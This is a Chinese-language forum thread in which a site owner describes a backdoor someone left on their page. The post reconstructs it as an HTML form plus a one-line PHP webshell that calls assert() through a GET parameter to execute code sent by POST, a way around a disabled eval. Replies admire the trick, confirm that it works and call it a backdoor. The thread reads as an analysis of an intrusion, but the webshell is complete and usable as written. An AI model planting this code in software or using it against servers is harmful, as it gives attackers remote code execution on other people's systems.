某人在我一个页面里留下了这个

miniloop

黑阔厉害啊，尼玛查半天终于知道他是怎样搞的了。
由于我装系统的时候就禁用了eval，他不可能用，网上查了半天知道了
assert也可以直接执行php代码。
现在在本机模拟了下。

建一个post.html

1. <form action = "test.php?page=assert" method = "post">
   
2. <input type = "text" name = "item" />
   
3. <input type = "submit" value = "运行" />
   
4. </form>

复制代码

再建一个test.php

1. <?php
   
2. $_GET['page']($_POST['item']);
   
3. ?>

复制代码

这个post.html在任何电脑上运行都可以，只要action的地址是那个test.php.

在输入框里输入： phpinfo();
尼玛 phpinfo就直接出来啦，太可怕了，这可以为所欲为了啊

金关村村长

很厉害的样子

副站长

这个得收藏。

edear

厉害  刚测试了下 确实如此

百度

额，php语句不过滤掉？ 还可以留言出来？
还可以执行？
开玩笑吧。

October十月

都是大黑阔……

skycms

后门 你懂的

oldghost

太可怕了

xspoco

牛逼..